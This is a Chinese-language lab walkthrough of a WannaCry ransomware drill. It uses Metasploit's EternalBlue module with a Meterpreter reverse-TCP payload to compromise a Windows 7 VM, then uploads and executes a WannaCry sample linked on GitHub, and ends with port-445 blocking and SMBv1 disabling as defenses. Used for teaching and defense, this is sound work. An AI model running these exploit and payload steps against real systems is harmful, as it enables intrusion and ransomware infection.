勒索病毒模拟演练
攻击原理
永恒之蓝
永恒之蓝是一个利用Windows系统中Server Message Block (SMB) 协议的漏洞(MS17-010)进行攻击的高级漏洞利用工具。该漏洞允许攻击者在未授权的情况下远程执行代码,是由美国国家安全局(NSA)开发,并在2017年4月被黑客组织“影子经纪人”(Shadow Brokers)泄露。
永恒之蓝通过发送特制的数据包到目标计算机的445端口(SMB服务),利用SMB v1协议的缺陷,远程执行攻击者指定的代码。由于SMB服务在许多Windows系统中默认启用且常开放于网络,这使得永恒之蓝成为一个非常有效的网络渗透工具。
在漏洞被发现时,以下Windows系统版本被认为是易受攻击的:
- Windows Vista
- Windows 7
- Windows 8
- Windows 8.1
- Windows 10
- Windows Server 2008, 2008 R2
- Windows Server 2012, 2012 R2
- Windows Server 2016
不过,只要上述系统及时安装了微软发布的安全补丁(KB4013389),就可以抵御”永恒之蓝”攻击。
WannaCry
WannaCry是一种勒索软件,于2017年5月对全球范围内的计算机发起了广泛的攻击。它主要通过永恒之蓝漏洞传播,一旦感染,就会加密计算机上的文件,并要求受害者支付比特币赎金以获取解密密钥。
WannaCry勒索软件结合了网络蠕虫功能,使其能够自动在网络上搜索存在MS17-010漏洞的计算机,并利用该漏洞传播和执行。它首先尝试连接到一个特定的域名,如果连接失败,意味着系统尚未感染,随后便开始加密过程,并显示赎金要求。
环境准备
WIn7虚拟机(靶机)
关闭防火墙
进入控制面板,点击系统和安全
点击Windows防火墙
点击左侧的打开或关闭Windows防火墙
选择关闭防火墙
成功关闭后显示如下
准备各类型文件
为了测试出WannaCry
的攻击效果,我们可以在Windows 7上准备一些文档资料,文档后缀类型包括txt、doc(x)、ppt(x)、tex、xls (x)、c、pdf、py、zip、rar、jp (e) g、mp3和avi等等,文件内容使用单词或者数字等进行填充,且生成不同的文件大小。为了模拟真实环境,文件路径可以在分析环境中设置一些真实用户使用的目录名称,例如在“我的文档”路径下创建文档文件,且用户文件的路径长度也是不确定的,每个文件夹可能包含一组子文件夹。
安装PCHunter
百度一下就能找到资源
kali虚拟机(攻击机)
准备病毒样本
使用kali自带的火绒浏览器访问wannacry样本的下载地址
https://github.com/limiteci/WannaCry
WannaCry的可执行文件形式无法在kali上直接运行,所以直接解压出来放在桌面即可
信息搜集
端口扫描
在攻击机上使用nmap扫描工具对靶机进行端口扫描,验证靶机是否开启了445端口
执行指令nmap -sT ip
观察结果可知,win7靶机的445端口有开启
漏洞扫描
既然确认了靶机的445端口有开启,那么该靶机就有可能存在MS17-010漏洞,如果它没有安装相应安全补丁
我们可以利用命令nmap -p- -sV --version-all --script vuln ip
扫描靶机存在的漏洞
我来解释一下使用的参数和选项:
-p-
:指定扫描所有65535个TCP端口。默认情况下,nmap只扫描常见的端口,此选项使其扫描全部端口。-sV
:启用服务版本探测。这个选项会尝试确定每个开放端口上运行的服务的名称和版本。--version-all
:这是-sV
选项的一个参数,指示nmap使用所有可能的探测尝试来确定服务版本。这可以提高识别服务的准确性,但会增加扫描时间。--script vuln
:指示nmap执行其脚本库(NSE:Nmap Scripting Engine)中与“vuln”相关的所有脚本。这些脚本旨在发现目标可能存在的各种已知漏洞。
成功扫出MS17-010漏洞,说明靶机具备WannaCry感染条件
漏洞利用
本次实验需要用到kali中的工具msfconsole
- Metasploit Framework 是一个渗透测试和安全漏洞研究工具,包含了大量的利用代码、辅助模块、有效载荷和监听器。它可以用来发现系统漏洞、测试网络的安全防护措施、执行后渗透活动等。
- msfconsole 是Metasploit Framework中的主要交互式接口。它提供了丰富的命令集和完整的控制环境,用于搜索、测试、执行漏洞利用和管理有效载荷。
执行msfconsole
命令打开msf的交互接口
在交互窗口中执行命令use exploit/windows/smb/ms17_010_eternalblue
,利用永恒之蓝MS17-010漏洞
此时提示信息中有exploit(windows/smb/ms17_010_eternalblue)
的字样
此时我们需要先设置靶机IP和攻击机IP
lhost为攻击机IP,而rhost则是靶机IP
执行set payload windows/x64/meterpreter/reverse_tcp
命令,使用meterpreter
编写的TCP反弹连接木马,用于在渗透成功后向攻击机发起连接请求进一步控制靶机的模块
渗透及远程命令执行
在开始渗透前可以打开wireshark捕获数据包,来观察渗透过程
执行exploit
开始渗透
显示WIN
则说明渗透成功
使用ip.dst==172.29.65.64 && tcp.port==445
筛选出向靶机445端口发送payload的数据包
我们可以观察到明显的payload特征,即连续的字符A
接下来我们开始远程命令执行,首先将攻击机上的Wannacry病毒样本传到靶机上
执行upload /home/kali/Desktop/WannaCry.EXE C:\\WannaCry.exe
在上传命令中我们顺便将后缀改为可执行文件的exe
此时我们可以打开靶机的C盘验证文件是否上传成功
再次筛选捕获到的数据包
可以发现攻击机通过靶机的49163端口使用tcp包上传了病毒样本
执行命令execute -f C:\\WannaCry.exe
,让靶机远程运行勒索病毒样本
攻击机显示勒索病毒在靶机上的进程号为2832
病毒分析
病毒特征
进入靶机查看,发现桌面壁纸被更改,且跳出打款弹窗
查看之前准备的各类型文档,可以发现后缀名后都被加上了.WNCRY
每个目录下还出现了readme文档和解密程序
用记事本打开文件,可以发现文件内容也被加密
不过部分病毒没有识别出类型的文档,例如docx
没有被加密
虽然该文件之前是因为粗心将docx
打成了docs
,但这也说明WannaCry病毒不会加密识别不出类型的文档
网络分析
在靶机命令行执行netstat查看网络连接状态,可以找到和攻击机之间的连接,以及靶机被占用的455
观察启动项
在搜索栏输入msconfig,找到对应程序并执行
点击启动栏,发现可疑的启动项
防御措施
关闭端口
将Window7的快照回退到攻击前
检查防火墙是否开启,若关闭则开启防火墙
点击左侧的高级设置,然后点击入站规则
点击操作菜单中的新建规则…
在规则类型中选择“端口”,点击“下一步”
选择TCP,并在特定本地端口中输入445
,然后点击下一步。
选择“阻止连接”,点击“下一步”。
选择适用的配置文件(通常选择全部),然后点击“下一步”。
给规则命名“Block TCP 445”,点击“完成”。
此时端口445就被我们禁用了
禁用SMBv1协议
关闭445端口可能会影响网络文件和打印机共享的功能,我们也可以通过禁用SMBv1来防御WannaCry
WannaCry和其他一些恶意软件是通过利用SMBv1中的漏洞来传播
首先在桌面按下“win+R”打开“运行”窗口,输入“regedit”并点击“确定”打开注册表;
进入注册表编辑器窗口后,在左侧依次展开HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
;
在“Parameters”项右键,在弹出的菜单中选择“新建—DWORD(32位)值”,将其命名为“SMB1”即可。
验证防御效果
再次使用kali攻击机重复渗透的步骤,发现执行exploit
后漏洞利用失败